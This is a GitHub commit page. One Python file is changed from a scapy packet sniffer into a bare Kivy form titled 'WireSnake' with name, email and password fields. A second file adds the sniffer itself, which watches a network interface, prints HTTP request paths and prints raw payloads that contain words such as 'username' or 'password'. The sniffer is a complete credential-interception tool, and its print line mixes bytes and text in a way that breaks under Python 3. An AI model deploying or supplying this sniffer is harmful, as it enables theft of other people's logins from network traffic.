-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
74 additions
and
38 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,38 +1,36 @@ | ||
#!/usr/bin/env python | ||
import scapy.all as scapy | ||
import argparse | ||
from scapy.layers import http | ||
|
||
|
||
def get_interface(): | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument( | ||
"-i", | ||
"--interface", | ||
dest="interface", | ||
help="Specify interface on which to sniff packets", | ||
) | ||
arguments = parser.parse_args() | ||
return arguments.interface | ||
|
||
|
||
def sniff(iface): | ||
scapy.sniff(iface=iface, store=False, prn=process_packet) | ||
|
||
|
||
def process_packet(packet): | ||
if packet.haslayer(http.HTTPRequest): | ||
print( | ||
f"[+] Http Request >> {packet[http.HTTPRequest]} {packet[http.HTTPRequest].Path}" | ||
) | ||
if packet.haslayer(scapy.Raw): | ||
load = packet[scapy.Raw].load | ||
keys = ["username", "password", "pass", "email"] | ||
for key in keys: | ||
if key.encode() in load: | ||
print("\n\n\n[+] Possible password/username >> " + load + "\n\n\n") | ||
break | ||
|
||
|
||
iface = get_interface() | ||
sniff(iface) | ||
from kivy.app import App | ||
from kivy.uix.label import Label | ||
from kivy.uix.gridlayout import GridLayout | ||
from kivy.uix.textinput import TextInput | ||
from kivy.uix.button import Button | ||
|
||
|
||
class WireGrid(GridLayout): | ||
def __init__(self, **kwargs): | ||
super(WireGrid, self).__init__(**kwargs) | ||
|
||
self.inside = GridLayout(cols=2) | ||
|
||
self.cols = 1 | ||
# self.rows = 2 | ||
self.inside.add_widget(Label(text="Name: ")) | ||
self.name = TextInput(multiline=False) | ||
self.inside.add_widget(self.name) | ||
self.inside.add_widget(Label(text="Email: ")) | ||
self.email = TextInput(multiline=False) | ||
self.inside.add_widget(self.email) | ||
self.inside.add_widget(Label(text="Password: ")) | ||
self.password = TextInput(multiline=False) | ||
self.inside.add_widget(self.password) | ||
self.submit = Button(text="Click me!") | ||
self.add_widget(self.inside) | ||
self.add_widget(self.submit) | ||
|
||
|
||
class WireSnake(App): | ||
def build(self): | ||
return WireGrid() | ||
|
||
|
||
if __name__ == "__main__": | ||
WireSnake().run() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
#!/usr/bin/env python | ||
import scapy.all as scapy | ||
import argparse | ||
from scapy.layers import http | ||
|
||
|
||
def get_interface(): | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument( | ||
"-i", | ||
"--interface", | ||
dest="interface", | ||
help="Specify interface on which to sniff packets", | ||
) | ||
arguments = parser.parse_args() | ||
return arguments.interface | ||
|
||
|
||
def sniff(iface): | ||
scapy.sniff(iface=iface, store=False, prn=process_packet) | ||
|
||
|
||
def process_packet(packet): | ||
if packet.haslayer(http.HTTPRequest): | ||
print( | ||
f"[+] Http Request >> {packet[http.HTTPRequest]} {packet[http.HTTPRequest].Path}" | ||
) | ||
if packet.haslayer(scapy.Raw): | ||
load = packet[scapy.Raw].load | ||
keys = ["username", "password", "pass", "email"] | ||
for key in keys: | ||
if key.encode() in load: | ||
print("\n\n\n[+] Possible password/username >> " + load + "\n\n\n") | ||
break | ||
|
||
|
||
iface = get_interface() | ||
sniff(iface) |